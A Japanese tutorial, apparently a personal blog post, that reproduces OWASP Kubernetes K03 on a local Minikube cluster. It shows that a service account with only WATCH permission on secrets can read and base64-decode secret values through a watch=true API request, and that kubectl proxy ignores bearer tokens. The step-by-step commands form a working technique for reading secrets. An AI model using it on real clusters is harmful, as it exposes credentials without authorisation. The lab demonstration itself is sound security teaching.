はじめに
Kubenetesを触り始めて一週間、セキュリティ的に考慮しなきゃなところって何あるかなって探してたら、OWASP Kubernetes Top 10なるものを発見。その中のK03: Overly Permissive RBACを試してたら意外なところでつまづいたりして、同じ思いしてほしくないので公開しました。
Kubenetesにおいてロールベースのアクセス制御（RBAC）は、誰がどのリソースやアクションにアクセスできるかを制御するために不可欠。意図せずユーザーやサービスアカウントに不要な WATCH 権限を与えられていると悪用できちゃうよってハナシ。
このチュートリアルでは、Minikube クラスタをセットアップして、実際にミスったRBAC設定で、コマンドコピペで動作するところまで書きました。
目次
- 前提条件
- Minikube のセットアップ
- セキュリティ問題の理解
- WATCH 権限を持つサービスアカウントの作成
- 不正なアクセスの実演
- 一般的な問題のトラブルシューティング
- リスクの軽減
- クリーンアップ
- 結論
環境と準備
- MacOS 14.5（23F79）
- Docker のインストール（Minikube で Docker ドライバーを使用する場合）
- kubectl のインストール：kubectl のインストール方法
- Minikube のインストール：Minikube のインストール方法
Minikube のセットアップ
まず、Minikube を使用してローカル Kubernetes クラスタをセットアップ。
ステップ 1: Minikube を起動
Docker ドライバーを使用して Minikube を起動。今回はDocker使ったけど、何でも良いと思う。なんのドライバも設定しないと、Qemuが使われてエラー出た。
minikube start --driver=docker
ステップ 2: Minikube のステータスを確認
Minikube が正常に稼働していることを確認：
minikube status
今回のミソ
Kubernetes では、WATCH 権限によりユーザーはリソースの変更を監視できる。リソースが変更されると、WATCH 権限によりリソース全体のオブジェクトが見られるようになる。
WATCH 権限を持つサービスアカウントの作成
default ネームスペース内で、 WATCH 権限のみを持つサービスアカウントを作成する。
ステップ 1: サービスアカウントを作成
kubectl create serviceaccount only-watch-secrets-sa -n default
ステップ 2: WATCH 権限を持つ Role を作成
only-watch-secrets-role.yaml というファイルを作成し、以下の内容を記述：
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: default
name: only-watch-secrets-role
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["watch"]
Role を適用：
kubectl apply -f only-watch-secrets-role.yaml
ステップ 3: Role をサービスアカウントにバインド
only-watch-secrets-rolebinding.yaml というファイルを作成し、以下の内容を記述：
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
namespace: default
name: only-watch-secrets-binding
subjects:
- kind: ServiceAccount
name: only-watch-secrets-sa
namespace: default
roleRef:
kind: Role
name: only-watch-secrets-role
apiGroup: rbac.authorization.k8s.io
RoleBinding を適用：
kubectl apply -f only-watch-secrets-rolebinding.yaml
不正なアクセスの実演
このサービスアカウントを使用してシークレットの変更を監視し、機密データがどのように露出するかを確認する。
ステップ 1: サービスアカウントのトークンを取得
Kubernetes v1.24 以降の場合：
TOKEN=$(kubectl -n default create token only-watch-secrets-sa)
Kubernetes v1.24 未満の場合：
SECRET_NAME=$(kubectl -n default get sa only-watch-secrets-sa -o jsonpath='{.secrets[0].name}')
TOKEN=$(kubectl -n default get secret "$SECRET_NAME" -o jsonpath='{.data.token}' | base64 --decode)
トークンが空でないことを確認する：
echo $TOKEN
ステップ 2: API サーバーのアドレスを取得
APISERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
ステップ 3: シークレットの GET を試みる（失敗するはず）
サービスアカウントのトークンを使用してシークレットを取得：
curl -k -X GET "$APISERVER/api/v1/namespaces/default/secrets/my-secret" \
-H "Authorization: Bearer $TOKEN"
期待される出力：
{
"kind": "Status",
"apiVersion": "v1",
"status": "Failure",
"message": "secrets \"my-secret\" is forbidden: User \"system:serviceaccount:default:only-watch-secrets-sa\" cannot get resource \"secrets\" in API group \"\" in the namespace \"default\"",
"reason": "Forbidden",
"code": 403
}
ステップ 4: シークレットの監視を開始
kubectl proxy による予期せぬ挙動
当初、kubectl proxy を使用して以下のコマンドを実行：
kubectl proxy &
その後、curl コマンドでシークレットにアクセス：
curl http://127.0.0.1:8001/api/v1/namespaces/default/secrets/my-secret \
-H "Authorization: Bearer $TOKEN"
ここでつまずいた！シークレットの内容が表示された。
問題点：
-
kubectl proxyを使用すると、リクエストはプロキシを起動したユーザーの権限で処理される（らしい）。 -
Authorizationヘッダーは無視される
問題の解決と正しいアプローチ
kubectl proxy を使用せず、API サーバーに直接リクエストを送信する。クエリパラメータをwatch=trueにしてる。
curl -k -X GET "$APISERVER/api/v1/namespaces/default/secrets?watch=true" \
-H "Authorization: Bearer $TOKEN"
ステップ 5: 別のターミナルで新しいシークレットを作成
新しいターミナルを開き、シークレットを作成する：
kubectl create secret generic my-secret --from-literal=secretPassword=verySecure
ステップ 6: 出力を確認
curl コマンドを実行しているターミナルで以下のような出力が表示される：
{
"type": "ADDED",
"object": {
"kind": "Secret",
"apiVersion": "v1",
"metadata": {
"name": "my-secret",
"namespace": "default",
...
},
"data": {
"secretPassword": "dmVyeVNlY3VyZQ=="
},
"type": "Opaque"
}
}
ステップ 8: シークレットデータをデコード
Base64 エンコードされたシークレットをデコードする：
echo 'dmVyeVNlY3VyZQ==' | base64 --decode
出力：
verySecure
説明：GET や LIST 権限がなくても、WATCH 権限によりサービスアカウントがシークレットデータにアクセスできた！！
クリーンアップ
このチュートリアルで作成したリソースを削除する。
# 監視コマンドを停止（実行中の場合）
# curl の監視コマンドを実行しているターミナルで Ctrl+C を押します
# シークレットを削除
kubectl delete secret my-secret
# RoleBinding を削除
kubectl delete rolebinding only-watch-secrets-binding -n default
# Role を削除
kubectl delete role only-watch-secrets-role -n default
# サービスアカウントを削除
kubectl delete serviceaccount only-watch-secrets-sa -n default
# 必要に応じて、Minikube を停止
minikube stop
結論
WATCH 権限の扱いには気をつけることが一番重要って結論付けたかったけど、kubectl proxy の挙動が一番勉強になった。
レッツKubernetes！！！！！！！